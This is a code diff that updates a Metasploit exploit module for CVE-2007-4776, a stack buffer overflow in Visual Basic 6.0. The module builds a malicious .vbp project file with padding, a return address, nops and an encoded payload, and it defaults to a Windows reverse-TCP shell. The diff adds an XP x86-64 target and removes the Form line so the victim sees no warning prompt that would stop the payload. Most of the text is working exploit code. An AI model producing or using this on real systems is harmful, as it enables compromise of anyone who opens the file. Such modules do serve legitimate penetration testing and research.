@@ -12,21 +12,28 @@ def initialize(info = {})
1212 super (
1313 update_info (
1414 info ,
15- 'Name' => 'Microsoft Visual Basic VBP Buffer Overflow' ,
15+ 'Name' => 'Microsoft Visual Basic VBP Stack Buffer Overflow' ,
1616 'Description' => %q{
17- This module exploits a stack buffer overflow in Microsoft Visual
18- Basic 6.0. When a specially crafted vbp file containing a long
19- reference line, an attacker may be able to execute arbitrary
20- code.
17+ This module exploits a stack buffer overflow in Microsoft Visual Basic
18+ 6.0. A specially crafted Visual Basic Project (VBP) file containing
19+ a long reference line can be used to execute arbitrary code.
2120 } ,
2221 'License' => MSF_LICENSE ,
23- 'Author' => [ 'MC' ] ,
22+ 'Arch' => [ ARCH_X86 ] ,
23+ 'Author' => [
24+ 'Koshi' , # Discovery and exploit
25+ 'MC' , # Metasploit
26+ 'bcoles' , # Offsets for XP x86-64
27+ ] ,
2428 'References' => [
2529 [ 'CVE' , '2007-4776' ] ,
30+ [ 'CWE' , '119' ] ,
31+ [ 'EDB' , '4361' ] ,
2632 [ 'OSVDB' , '36936' ] ,
2733 [ 'BID' , '25629' ]
2834 ] ,
2935 'DefaultOptions' => {
36+ 'PAYLOAD' => 'windows/shell/reverse_tcp' ,
3037 'EXITFUNC' => 'process' ,
3138 'DisablePayloadHandler' => true
3239 } ,
@@ -38,38 +45,66 @@ def initialize(info = {})
3845 } ,
3946 'Platform' => 'win' ,
4047 'Targets' => [
41- [ 'Windows XP SP2 English' , { 'Ret' => 0x0fabd271 , 'Scratch' => 0x7ffddfb4 } ] ,
48+ [
49+ 'Windows XP SP0-SP3 (x86) (English)' , {
50+ 'Ret' => 0x0fabd271 , # call esp ; vba6.dll
51+ 'Scratch' => 0x7ffddfb4 # Address=0x7ffdd000; Size=0x1000; Access=RW; InitialAccess=RW
52+ }
53+ ] ,
54+ [
55+ 'Windows XP SP1-SP2 (x86-64) (English)' , {
56+ 'Ret' => 0x0fabd271 , # call esp ; vba6.dll
57+ 'Scratch' => 0x7efa9010 # Address=0x7efa9000; Size=0x1000; Access=RW; InitialAccess=RW
58+ }
59+ ] ,
4260 ] ,
4361 'Privileged' => false ,
4462 'DisclosureDate' => '2007-09-04' ,
45- 'DefaultTarget' => 0
63+ 'DefaultTarget' => 0 ,
64+ 'Notes' => {
65+ 'Stability' => [ CRASH_SERVICE_DOWN ] ,
66+ 'SideEffects' => [ ARTIFACTS_ON_DISK ] ,
67+ 'Reliability' => [ UNRELIABLE_SESSION ]
68+ }
4669 )
4770 )
4871
4972 register_options (
5073 [
51- OptString . new ( 'FILENAME' , [ true , 'The file name.' , 'msf.vbp' ] ) ,
74+ OptString . new ( 'FILENAME' , [ true , 'The project file name.' , 'msf.vbp' ] ) ,
5275 ]
5376 )
5477 end
5578
5679 def exploit
57- sploit = rand_text_alpha_upper ( 496 ) + [ target . ret ] . pack ( 'V' )
58- sploit << rand_text_alpha_upper ( 12 ) + [ target [ 'Scratch' ] ] . pack ( 'V' )
59- sploit << make_nops ( 24 ) + payload . encoded
80+ form_name = "Form#{ rand ( 1 ..9 ) } "
81+
82+ sploit = rand_text_alpha_upper ( 496 )
83+ sploit << [ target . ret ] . pack ( 'V' )
84+ sploit << rand_text_alpha_upper ( 12 )
85+ sploit << [ target [ 'Scratch' ] ] . pack ( 'V' )
86+ sploit << make_nops ( 24 )
87+ sploit << payload . encoded
6088
6189 vbp = "Type=Exe\r \n "
62- vbp << "Form=Form2.frm\r \n "
63- vbp << "Reference=*\\ G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\ ..\\ ..\\ ..\\ WINNT\\ System32\\ stdole2.tlb#OLE Automation"
64- vbp << sploit + "\r \n "
65- vbp << "Startup=\" Form2\" \r \n "
90+
91+ # We exclude the "Form" field so we don't have to ship a form file (.frm)
92+ # along with the project file (.vbp). If the specified form file is not
93+ # present within the same directory as the project file, the user is warned
94+ # the file does not exist, and is prompted to confirm loading the project.
95+ # Selecting "No" halts loading the project and prevents payload execution.
96+ # vbp << "Form=#{form_name}.frm\r\n"
97+
98+ vbp << 'Reference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\..\\..\\..\\WINNT\\System32\\stdole2.tlb#OLE Automation'
99+ vbp << "#{ sploit } \r \n "
100+ vbp << "Startup=\" #{ form_name } \" \r \n "
66101 vbp << "Command32=\" \" \r \n "
67- vbp << "Name=\" Project2 \" \r \n "
102+ vbp << "Name=\" Project #{ rand ( 1 .. 9 ) } \" \r \n "
68103 vbp << "HelpContextID=\" 0\" \r \n "
69104 vbp << "CompatibleMode=\" 0\" \r \n "
70105 vbp << "MajorVer=1\r \n "
71- vbp << "MinorVer=0 \r \n "
72- vbp << "RevisionVer=0 \r \n "
106+ vbp << "MinorVer=#{ rand ( 1 .. 9 ) } \r \n "
107+ vbp << "RevisionVer=#{ rand ( 1 .. 9 ) } \r \n "
73108 vbp << "AutoIncrementVer=0\r \n "
74109 vbp << "ServerSupportFiles=0\r \n "
75110 vbp << "VersionCompanyName=\" \" \r \n "
@@ -91,7 +126,7 @@ def exploit
91126 vbp << "[MS Transaction Server]\r \n "
92127 vbp << "AutoRefresh=1\r \n "
93128
94- print_status ( "Creating '#{ datastore [ 'FILENAME' ] } ' file ..." )
129+ print_status ( "Creating '#{ datastore [ 'FILENAME' ] } ' file for #{ target . name } ..." )
95130
96131 file_create ( vbp )
97132 end
0 commit comments